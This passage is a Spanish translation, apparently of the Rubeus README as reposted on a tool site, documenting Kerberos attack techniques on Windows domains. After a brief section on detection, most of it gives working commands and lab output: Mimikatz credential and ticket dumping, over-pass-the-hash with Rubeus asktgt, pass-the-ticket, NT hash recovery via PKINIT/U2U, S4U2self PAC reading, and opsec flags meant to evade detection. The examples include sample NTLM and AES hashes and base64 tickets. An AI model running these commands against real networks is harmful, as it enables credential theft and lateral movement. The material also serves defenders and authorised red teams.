Desde la perspectiva del host, Rubeus puede ser detectado durante la weaponización inicial del código, por un proceso anormal (no lsass.exe) que emite tráfico Kerberos sin procesar en el puerto 88, mediante el uso de APIs sensibles como LsaCallAuthenticationPackage(), o por tickets anormales presentes en el host (por ejemplo, uso de rc4_hmac en tickets en un entorno moderno).

Desde una perspectiva de red o registros del controlador de dominio, dado que Rubeus implementa muchas partes del protocolo Kerberos normal, el método de detección principal implica el uso de rc4_hmac en los intercambios Kerberos. Los dominios modernos de Windows (nivel funcional 2008 y superior) usan cifrado AES de forma predeterminada en los intercambios Kerberos normales (con algunas excepciones como los tickets de confianza entre reinos). El uso de un hash rc4_hmac (NTLM) en un intercambio Kerberos en lugar de una clave aes256_cts_hmac_sha1 (o aes128) produce una señal que es detectable a nivel de host, de red (si se analiza el tráfico Kerberos) y de registros de eventos del controlador de dominio, a veces conocido como "degradación de cifrado".

Weaponización

Una forma común en que se detectan las herramientas de ataque es a través del vector de weaponización del código. Si Rubeus se ejecuta a través de PowerShell (esto incluye Empire), se aplican todas las protecciones estándar de PowerShell V5 (registro profundo de bloques de script, AMSI, etc.). Si Rubeus se ejecuta como un binario en disco, entran en juego las firmas de antivirus estándar (parte de la razón por la cual no publicamos versiones compiladas de Rubeus, ya que las firmas frágiles son tontas ;). Si Rubeus se usa como una biblioteca, entonces es susceptible al método que use la herramienta principal para ejecutarse. Y si Rubeus se ejecuta a través de ejecución de ensamblado no administrado (como execute_assembly de Cobalt Strike), se realiza una inyección de código entre procesos y se carga el CLR en un proceso potencialmente no .NET, aunque esta señal está presente para la ejecución de cualquier código .NET que utilice este método.

Además, AMSI (la Interfaz de Escaneo Antimalware) se ha agregado a .NET 4.8. Ryan Cobb tiene detalles adicionales sobre las implicaciones ofensivas de esto en la sección Defensa de su publicación "Entering a Covenant: .NET Command and Control".

Ejemplo: Extracción de Credenciales

Supongamos que tenemos acceso elevado en una máquina y queremos extraer credenciales de usuario para reutilizarlas.

Mimikatz es la navaja suiza de la extracción de credenciales, con múltiples opciones. El comando sekurlsa::logonpasswords abrirá un manejador de lectura a LSASS, enumerará las sesiones de inicio de sesión presentes en el sistema, recorrerá los paquetes de autenticación predeterminados para cada sesión de inicio de sesión y extraerá cualquier material de contraseña/credencial reversible presente. Nota lateral: el comando sekurlsa::ekeys enumerará TODOS los tipos de clave presentes para el paquete Kerberos.

Rubeus no tiene ningún código para tocar LSASS (y no está previsto ninguno), por lo que su funcionalidad se limita a extraer tickets Kerberos mediante el uso de la API LsaCallAuthenticationPackage(). Desde una perspectiva sin elevación, las claves de sesión para TGT no se devuelven (de forma predeterminada), por lo que solo los tickets de servicio extraídos serán utilizables (el comando tgtdeleg usa un truco de Kekeo para obtener un TGT utilizable para el usuario actual). Si está en un contexto de alta integridad, se ejecuta un equivalente de GetSystem que utiliza duplicación de tokens para elevarse a SYSTEM, y se registra una aplicación de inicio de sesión falsa con la llamada a la API LsaRegisterLogonProcess(). Esto permite la enumeración privilegiada y la extracción de todos los tickets registrados actualmente con LSA en el sistema, lo que resulta en la salida de .kirbi codificados en base64 para su reutilización posterior.

Mimikatz puede realizar la misma extracción de .kirbi en base64 con la siguiente serie de comandos:

root@kitploit:~
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # standard::base64 /output:true
mimikatz # kerberos::list /export

Mimikatz también puede extraer tickets directamente de la memoria de LSASS con:

root@kitploit:~
mimikatz # privilege::debug
mimikatz # standard::base64 /output:true
mimikatz # sekurlsa::tickets /export

Como "todo es sigiloso hasta que alguien lo busca", es discutible si la manipulación de LSASS o la extracción de tickets a través de la llamada a la API LsaCallAuthenticationPackage() es más "sigilosa". Debido a la popularidad de Mimikatz, abrir un manejador de LSASS y leer/escribir su memoria se ha convertido en un gran objetivo para la detección y/o prevención de EDR. Sin embargo, LsaCallAuthenticationPackage() es utilizado por un conjunto bastante limitado de procesos, y crear una aplicación de inicio de sesión falsa con LsaRegisterLogonProcess() también es un comportamiento bastante anómalo. Sin embargo, la introspección y el establecimiento de una línea base a nivel de API completa parece ser un problema técnico más difícil que la protección de LSASS.

Ejemplo: Over-pass-the-hash

Supongamos que recuperamos el hash rc4_hmac (NTLM) de un usuario y queremos reutilizar esta credencial para comprometer otra máquina donde la cuenta de usuario tiene acceso privilegiado.

Nota lateral: pass-the-hash != over-pass-the-hash. La técnica tradicional de pass-the-hash implica reutilizar un hash a través del protocolo NTLMv1/NTLMv2, que no toca Kerberos en absoluto. El enfoque over-pass-the-hash fue desarrollado por Benjamin Delpy y Skip Duckwall (consulte su presentación "Abusing Microsoft Kerberos - Sorry you guys don't get it" para obtener más información). Este enfoque convierte un hash/clave (rc4_hmac, aes256_cts_hmac_sha1, etc.) para un usuario unido al dominio en un ticket de concesión de tickets (TGT) completamente desarrollado.

Comparemos "over-passing-the-hash" mediante el comando sekurlsa::pth de Mimikatz con el uso del comando asktgt de Rubeus (o Kekeo si lo prefieres).

Cuando se usa sekurlsa::pth para over-pass-the-hash, Mimikatz primero crea un nuevo proceso de tipo de inicio de sesión 9 con credenciales ficticias; esto crea una nueva sesión de inicio de sesión "sacrificial" que no interactúa con la sesión de inicio de sesión actual. Luego abre el proceso LSASS con la capacidad de escribir en la memoria del proceso, y el hash/clave proporcionado se parchea en la sección apropiada para la sesión de inicio de sesión asociada (en este caso, la sesión de inicio de sesión "sacrificial" que se inició). Esto hace que el proceso de autenticación Kerberos normal se inicie como si el usuario hubiera iniciado sesión normalmente, convirtiendo el hash proporcionado en un TGT completo.

Cuando se ejecuta el comando asktgt de Rubeus (o el equivalente de Kekeo), se utiliza el protocolo Kerberos sin procesar para solicitar un TGT, que luego se aplica a la sesión de inicio de sesión actual si se pasa la bandera /ptt.

Con el enfoque de Mimikatz, se necesitan derechos administrativos ya que se manipula la memoria de LSASS directamente. Como se mencionó anteriormente, la popularidad de Mimikatz también ha llevado a que este tipo de comportamiento (abrir un manejador de LSASS y leer/escribir su memoria) sea un gran objetivo para la detección y/o prevención de EDR. Con el enfoque de Rubeus/Kekeo, no se necesitan derechos administrativos ya que no se toca LSASS. Sin embargo, si el ticket se aplica a la sesión de inicio de sesión actual (con /ptt), el TGT para la sesión de inicio de sesión actual se sobrescribirá. Este comportamiento se puede evitar (con acceso administrativo) usando el comando /createnetonly para crear un proceso/sesión de inicio de sesión sacrificial, y luego usando /ptt /ticket:X /luid:0xa.. con el LUID del proceso recién creado. Si se usa Cobalt Strike, usar el comando make_token con credenciales ficticias y luego kerberos_ticket_use con el ticket recuperado por Rubeus le permitirá aplicar el nuevo TGT de una manera que a) no necesita derechos administrativos y b) no pisa el TGT de la sesión de inicio de sesión actual.

Es nuestra opinión que el enfoque de manipulación de LSASS tiene más probabilidades (en el momento actual) de ser detectado o mitigado debido a la popularidad de la técnica. Sin embargo, el enfoque de Rubeus resulta en otra pieza de comportamiento detectable. El tráfico Kerberos al puerto 88 normalmente debería originarse solo desde lsass.exe: enviar tráfico sin procesar de este tipo desde un proceso anormal podría ser detectable si la información puede ser recopilada.

Nota lateral: una forma en que ambos enfoques pueden ser detectados potencialmente es la mencionada anteriormente detección de "degradación de cifrado". Para recuperar claves AES, use el módulo sekurlsa::ekeys de Mimikatz para devolver TODAS las claves de cifrado Kerberos (lo mismo con lsadump::dcsync) que son mejores de usar cuando se intenta evadir algunas detecciones.

Solicitudes y renovaciones de tickets

Desglose de los comandos de solicitud de tickets:

asktgt

La acción asktgt construirá tráfico AS-REQ (solicitud de TGT) sin procesar para el usuario y la clave de cifrado especificados (/rc4, /aes128, /aes256, o /des). También se puede usar una bandera /password en lugar de un hash - en este caso, /enctype:X por defecto será RC4 para el intercambio, con des|aes128|aes256 como opciones. Si no se especifica ningún /domain, se extrae el dominio actual del equipo, y si no se especifica ningún /dc, se hace lo mismo para el controlador de dominio actual del sistema. Si la autenticación es exitosa, se analiza el AS-REP resultante y el KRB-CRED (un .kirbi, que incluye el TGT del usuario) se genera como un blob base64. La bandera /ptt "pasará el ticket" y aplicará la credencial Kerberos resultante a la sesión de inicio de sesión actual. La bandera /luid:0xA.. aplicará el ticket al ID de sesión de inicio de sesión especificado (se necesita elevación) en lugar de la sesión de inicio de sesión actual.

Tenga en cuenta que no se necesitan privilegios elevados en el host para solicitar TGT o aplicarlos a la sesión de inicio de sesión actual, solo el hash correcto para el usuario objetivo. Además, otra nota de opsec: solo se puede aplicar un TGT a la vez a la sesión de inicio de sesión actual, por lo que el TGT anterior se borra cuando se aplica el nuevo ticket al usar la opción /ptt. Una solución es usar el parámetro /createnetonly:C:\X.exe (que oculta el proceso por defecto a menos que se especifique la bandera /show), o solicitar el ticket y aplicarlo a otra sesión de inicio de sesión con ptt /luid:0xA...

De forma predeterminada, existen varias diferencias entre los AS-REQ generados por Rubeus y los AS-REQ genuinos. Para formar AS-REQ más alineados con las solicitudes genuinas, se puede usar la bandera /opsec, esto enviará primero un AS-REQ sin pre-autenticación, si esto tiene éxito, se descifra el AS-REP resultante y se devuelve el TGT; de lo contrario, se envía un AS-REQ con pre-autenticación. Como esta bandera está destinada a hacer que el tráfico de Rubeus sea más sigiloso, no se puede usar por defecto con ningún tipo de cifrado que no sea aes256 y simplemente arrojará una advertencia y saldrá si se usa otro tipo de cifrado. Para permitir que se usen otros tipos de cifrado con los cambios de /opsec, existe la bandera /force.La autenticación PKINIT es compatible con el argumento /certificate:X. Cuando la clave privada dentro del archivo PFX está protegida por contraseña, esta contraseña se puede pasar con el argumento /password:X. Al usar la autenticación PKINIT, se puede usar la bandera /getcredentials para solicitar automáticamente un ticket de servicio U2U y recuperar el hash NT de la cuenta.

Solicitar un TGT sin un PAC se puede hacer usando el modificador /nopac.

Usar un proxy KDC (MS-KKDCP) para realizar la solicitud es posible usando el argumento /proxyurl:URL. Se requiere la URL completa del proxy KDC, ej. https://kdcproxy.exmaple.com/kdcproxy

La bandera /nopreauth se puede usar para enviar un AS-REQ sin preautenticación. El argumento /service:SPN se puede usar para solicitar tickets de servicio directamente usando AS-REQ, aceptará un SPN o un nombre de usuario.

Solicitando un ticket mediante hash RC4 para [email protected], aplicándolo a la sesión de inicio de sesión actual:

root@kitploit:~
C:\Rubeus>Rubeus.exe asktgt /user:dfm.a /rc4:2b576acbe6bcfda7294d6bd18041b8fe /ptt

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.4.1

[*] Action: Ask TGT

[*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\dfm.a'
[+] TGT request successful!
[*] base64(ticket.kirbi):

    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

[*] Action: Import Ticket
[+] Ticket successfully imported!

[*] Action: Describe Ticket

UserName              :  dfm.a
UserRealm             :  TESTLAB.LOCAL
ServiceName           :  krbtgt/testlab.local
ServiceRealm          :  TESTLAB.LOCAL
StartTime             :  2/25/2019 3:06:07 PM
EndTime               :  2/25/2019 8:06:07 PM
RenewTill             :  3/4/2019 3:06:07 PM
Flags                 :  name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType               :  rc4_hmac
Base64(key)           :  +zY8adXi2NuvkAxl1ohUOA==

Solicitando un ticket mediante hash aes256_hmac para [email protected], iniciando un nuevo proceso oculto y aplicando el ticket a esa sesión de inicio de sesión. Nota: ¡se necesitan privilegios elevados!

root@kitploit:~
C:\Rubeus>Rubeus.exe asktgt /user:dfm.a /domain:testlab.local /aes256:e27b2e7b39f59c3738813a9ba8c20cd5864946f179c80f60067f5cda59c3bd27 /createnetonly:C:\Windows\System32\cmd.exe

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.3.3


[*] Action: Create Process (/netonly)

[*] Showing process : False
[+] Process         : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID       : 7564
[+] LUID            : 0x3c4c241

[*] Action: Ask TGT

[*] Using aes256_cts_hmac_sha1 hash: e27b2e7b39f59c3738813a9ba8c20cd5864946f179c80f60067f5cda59c3bd27
[*] Target LUID : 63226433
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\dfm.a'
[*] Connecting to 192.168.52.100:88
[*] Sent 234 bytes
[*] Received 1620 bytes
[+] TGT request successful!
[*] base64(ticket.kirbi):

    doIFujCCBbagAwIBBaEDAgEWooIEvzCCBL...(snip)...

[*] Action: Import Ticket
[*] Target LUID: 0x3c4c241
[+] Ticket successfully imported!

¡Tenga en cuenta que los parámetros /luid y /createnetonly requieren privilegios elevados!

Solicitando un ticket usando un certificado y usando /getcredentials para recuperar el hash NT:

root@kitploit:~
C:\Rubeus>Rubeus.exe asktgt /user:harmj0y /domain:rubeus.ghostpack.local /dc:pdc1.rubeus.ghostpack.local /getcredentials /certificate:MIIR3QIB...(snip)...QI/GZmyPRFEeE=

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.0

[*] Action: Ask TGT

[*] Using PKINIT with etype rc4_hmac and subject: CN=Harm J0y, CN=Users, DC=rubeus, DC=ghostpack, DC=local
[*] Building AS-REQ (w/ PKINIT preauth) for: 'rubeus.ghostpack.local\harmj0y'
[+] TGT request successful!
[*] base64(ticket.kirbi):

      doIF9DCCBfCgAwIBBaEDAgEWooIE7DCCBOhhggTkMIIE4KADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
                                        ...(snip)...
      YnRndBsWcnViZXVzLmdob3N0cGFjay5sb2NhbA==

  ServiceName              :  krbtgt/rubeus.ghostpack.local
  ServiceRealm             :  RUBEUS.GHOSTPACK.LOCAL
  UserName                 :  harmj0y
  UserRealm                :  RUBEUS.GHOSTPACK.LOCAL
  StartTime                :  14/07/2021 02:25:33
  EndTime                  :  14/07/2021 12:25:33
  RenewTill                :  21/07/2021 02:25:33
  Flags                    :  name_canonicalize, pre_authent, initial, renewable, forwardable
  KeyType                  :  rc4_hmac
  Base64(key)              :  7MS2ajfZo4HedoK+K3dLcQ==
  ASREP (key)              :  9B1C28A276FBBE557D0F9EE153FE24E1

[*] Getting credentials using U2U

  CredentialInfo         :
    Version              : 0
    EncryptionType       : rc4_hmac
    CredentialData       :
      CredentialCount    : 1
       NTLM              : C69A7EA908898C23B72E65329AF7E3E8

asktgs

La acción asktgs construirá/analizará una solicitud de ticket de servicio TGS-REQ/TGS-REP sin procesar usando el TGT especificado suministrado /ticket:X. Este valor puede ser una codificación base64 de un archivo .kirbi o la ruta a un archivo .kirbi en el disco. Si no se especifica un /dc, se extrae el controlador de dominio actual del equipo y se utiliza como destino para el tráfico de solicitud. La bandera /ptt "pasará el ticket" y aplicará el ticket de servicio resultante a la sesión de inicio de sesión actual. Se deben especificar uno o más SPN /service:X, separados por comas.

Los tipos de cifrado compatibles en el TGS-REQ construido serán RC4_HMAC, AES128_CTS_HMAC_SHA1 y AES256_CTS_HMAC_SHA1. En este caso, el KDC utilizará el cifrado mutuamente compatible más alto para construir el ticket de servicio devuelto. Si desea forzar claves DES, RC4 o AES128/256, use /enctype:[RC4|AES128|AES256|DES].

Para solicitar un ticket de servicio para una cuenta que utiliza un principal empresarial (es decir, [email protected]), se puede usar la bandera /enterprise.

De forma predeterminada, existen varias diferencias entre los TGS-REQ generados por Rubeus y los TGS-REQ genuinos. Para formar TGS-REQ más acordes con las solicitudes genuinas, se puede usar la bandera /opsec. Esto también hará que se envíe automáticamente un TGS-REQ adicional cuando se solicite un ticket de servicio para una cuenta configurada para delegación sin restricciones. Dado que esta bandera está destinada a hacer que el tráfico de Rubeus sea más sigiloso, no se puede usar de forma predeterminada con ningún tipo de cifrado que no sea aes256 y simplemente mostrará una advertencia y saldrá si se usa otro tipo de cifrado.

Para jugar con otros escenarios manualmente, se puede usar /tgs:X para proporcionar un ticket adicional que se añade al cuerpo de la solicitud. Esto también agrega la opción de delegación restringida del KDC y evita determinar dinámicamente el dominio a partir del SPN dado /service:X. Por esta razón, se ha implementado el argumento /targetdomain:X para forzar a la solicitud a usar el dominio proporcionado, lo cual es útil para solicitar tickets de servicio delegados de un dominio externo o tickets con SPN habituales.

La bandera /u2u se implementó para solicitar tickets de Usuario a Usuario. Junto con el argumento /tgs:X (utilizado para proporcionar el TGT de la cuenta objetivo), el argumento /service:X puede ser el nombre de usuario de la cuenta para la que se proporciona el TGT (con el argumento /tgs:X). El argumento /targetuser:X solicitará un PAC de cualquier otra cuenta insertando una sección de datos PA-FOR-USER PA con el nombre de usuario del usuario objetivo.

La bandera /printargs imprimirá los argumentos necesarios para falsificar un ticket con los mismos valores de PAC si el PAC es legible. Esto podría hacerse proporcionando el argumento /servicekey:X o realizando una solicitud /u2u con una clave de sesión conocida.

Usar un proxy KDC (MS-KKDCP) para realizar la solicitud es posible usando el argumento /proxyurl:URL. Se requiere la URL completa del proxy KDC, ej. https://kdcproxy.exmaple.com/kdcproxy

La bandera /keyList se implementó para las Solicitudes de Lista de Claves de Kerberos. Estas solicitudes deben utilizar un TGT parcial falsificado de un controlador de dominio de solo lectura en el parámetro /ticket:BASE64|FILE.KIRBI. Más detalles sobre este TGT falsificado en la sección golden. Además, el campo /spn:x debe establecerse en el SPN KRBTGT dentro del dominio, ej. KRBTBT/domain.local.

La acción asktgs también admite solicitar tickets de servicio a través del paquete de autenticación Kerberos usando LSASS. Este modo de operación se puede habilitar omitiendo el argumento /ticket. De forma predeterminada, se utiliza el TGT asociado con la sesión de inicio de sesión actual. Se puede apuntar a una sesión de inicio de sesión alternativa proporcionando el argumento /luid:xxx. Se requieren privilegios de administrador local al apuntar a otras sesiones de inicio de sesión. Actualmente, solo se pueden solicitar tickets de servicio simples a través de LSASS. Los argumentos para funciones como S4U2Self, U2U, lista de claves y proxy KDC se ignoran. Solicitar tickets de servicio a través de LSASS a menudo puede ser más amigable con la opsec, ya que el tráfico Kerberos se originará desde LSASS. Este modo también es necesario en escenarios donde Credential Guard / Remote Credential Guard está activo, ya que no es posible volcar TGT con credential guard.

Solicitando un TGT para dfm.a y luego usando ese ticket para solicitar un ticket de servicio para los SPN "LDAP/primary.testlab.local" y "cifs/primary.testlab.local":

root@kitploit:~
C:\Rubeus>Rubeus.exe asktgt /user:dfm.a /rc4:2b576acbe6bcfda7294d6bd18041b8fe

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.3.3

[*] Action: Ask TGT

[*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\dfm.a'
[*] Connecting to 192.168.52.100:88
[*] Sent 230 bytes
[*] Received 1537 bytes
[+] TGT request successful!
[*] base64(ticket.kirbi):

    doIFmjCCBZagAwIBBaEDAgEWoo...(snip)...

C:\Rubeus>Rubeus.exe asktgs /ticket:doIFmjCCBZagAwIBBaEDAgEWoo...(snip)... /service:LDAP/primary.testlab.local,cifs/primary.testlab.local /ptt

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.3.3

[*] Action: Ask TGS

[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building TGS-REQ request for: 'LDAP/primary.testlab.local'
[*] Connecting to 192.168.52.100:88
[*] Sent 1514 bytes
[*] Received 1562 bytes
[+] TGS request successful!
[*] base64(ticket.kirbi):

    doIFzjCCBcqgAwIBBaEDAgEWoo...(snip)...

[*] Action: Import Ticket
[+] Ticket successfully imported!

[*] Action: Ask TGS

[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building TGS-REQ request for: 'cifs/primary.testlab.local'
[*] Connecting to 192.168.52.100:88
[*] Sent 1514 bytes
[*] Received 1562 bytes
[+] TGS request successful!
[*] base64(ticket.kirbi):

    doIFzjCCBcqgAwIBBaEDAgEWoo...(snip)...

[*] Action: Import Ticket
[+] Ticket successfully imported!


C:\Rubeus>Rubeus.exe klist

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.3.3


[*] Action: List Kerberos Tickets (Current User)

    [0] - 0x12 - aes256_cts_hmac_sha1
    Start/End/MaxRenew: 2/10/2019 6:44:43 PM ; 2/10/2019 11:44:09 PM ; 2/17/2019 6:44:09 PM
    Server Name       : cifs/primary.testlab.local @ TESTLAB.LOCAL
    Client Name       : dfm.a @ TESTLAB.LOCAL
    Flags             : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable (40a50000)

    [1] - 0x12 - aes256_cts_hmac_sha1
    Start/End/MaxRenew: 2/10/2019 6:44:43 PM ; 2/10/2019 11:44:09 PM ; 2/17/2019 6:44:09 PM
    Server Name       : LDAP/primary.testlab.local @ TESTLAB.LOCAL
    Client Name       : dfm.a @ TESTLAB.LOCAL
    Flags             : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable (40a50000)

Solicitando un ticket de servicio para una cuenta de servicio habilitada para AES, especificando que solo admitimos RC4_HMAC:

root@kitploit:~
C:\Rubeus>Rubeus.exe asktgs /ticket:doIFmjCCBZagAwIBBaEDAgEWoo...(snip).../service:roast/me /enctype:rc4

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.4.1

[*] Action: Ask TGS

[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Requesting 'rc4_hmac' etype for the service ticket
[*] Building TGS-REQ request for: 'roast/me'
[+] TGS request successful!
[*] base64(ticket.kirbi):

    doIFrjCCBaqgAwIBBaEDA...(snip)...

[*] Action: Describe Ticket

UserName              :  dfm.a
UserRealm             :  TESTLAB.LOCAL
ServiceName           :  roast/me
ServiceRealm          :  TESTLAB.LOCAL
StartTime             :  2/25/2019 3:10:59 PM
EndTime               :  2/25/2019 8:09:54 PM
RenewTill             :  3/4/2019 3:09:54 PM
Flags                 :  name_canonicalize, pre_authent, renewable, forwardable
KeyType               :  rc4_hmac
Base64(key)           :  Gg3zZicIl5c50KGecCf8XA==

Solicitando un ticket de servicio de usuario a usuario e incluyendo la sección PA-DATA PA for User (una solicitud S4U2self), es posible obtener un PAC legible para cualquier usuario:

root@kitploit:~
C:\Rubeus>Rubeus.exe asktgs /u2u /targetuser:ccob /ticket:doIFijCCBYagAwIBBaED...(snip)...3RwYWNrLmxvY2Fs /tgs:doIFijCCBYagAwIBBaEDAg...(snip)...YWNrLmxvY2Fs

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.0

[*] Action: Ask TGS

[*] Using domain controller: PDC1.rubeus.ghostpack.local (192.168.71.80)
[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building User-to-User TGS-REQ request for: 'exploitph'
[+] TGS request successful!
[*] base64(ticket.kirbi):

      doIFKzCCBSegAwIBBaEDAgEWooIEKzCCBCdhggQjMIIEH6ADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
                                        ...(snip)...
      cGxvaXRwaA==ServiceName              :  exploitph
  ServiceRealm             :  RUBEUS.GHOSTPACK.LOCAL
  UserName                 :  ccob
  UserRealm                :  RUBEUS.GHOSTPACK.LOCAL
  StartTime                :  20/07/2021 22:00:07
  EndTime                  :  21/07/2021 07:59:39
  RenewTill                :  27/07/2021 21:59:39
  Flags                    :  name_canonicalize, pre_authent, renewable, forwardable
  KeyType                  :  aes256_cts_hmac_sha1
  Base64(key)              :  u2AYdjG4gLNIXqzb3MmwtDtE1k2NR5ty9h80w704+8Q=
  Decrypted PAC            :
    LogonInfo              :
      LogonTime            : 01/01/1601 00:00:00
      LogoffTime           :
      KickOffTime          :
      PasswordLastSet      : 20/07/2021 21:58:44
      PasswordCanChange    : 21/07/2021 21:58:44
      PasswordMustChange   : 31/08/2021 21:58:44
      EffectiveName        : ccob
      FullName             : C Cob
      LogonScript          :
      ProfilePath          :
      HomeDirectory        :
      HomeDirectoryDrive   :
      LogonCount           : 0
      BadPasswordCount     : 0
      UserId               : 1109
      PrimaryGroupId       : 513
      GroupCount           : 1
      Groups               : 513
      UserFlags            : (32) EXTRA_SIDS
      UserSessionKey       : 0000000000000000
      LogonServer          : PDC1
      LogonDomainName      : RUBEUS
      LogonDomainId        : S-1-5-21-3237111427-1607930709-3979055039
      UserAccountControl   : (16) NORMAL_ACCOUNT
      ExtraSIDCount        : 1
      ExtraSIDs            : S-1-18-2
      ResourceGroupCount   : 0
    ClientName             :
      Client Id            : 20/07/2021 21:59:39
      Client Name          : ccob
    UpnDns                 :
      DNS Domain Name      : RUBEUS.GHOSTPACK.LOCAL
      UPN                  : [email protected]
      Flags                : 0
    ServerChecksum         :
      Signature Type       : KERB_CHECKSUM_HMAC_MD5
      Signature            : 79A2DC5595C76FA85155B4C65B3A0EE1 (VALID)
    KDCChecksum            :
      Signature Type       : KERB_CHECKSUM_HMAC_SHA1_96_AES256
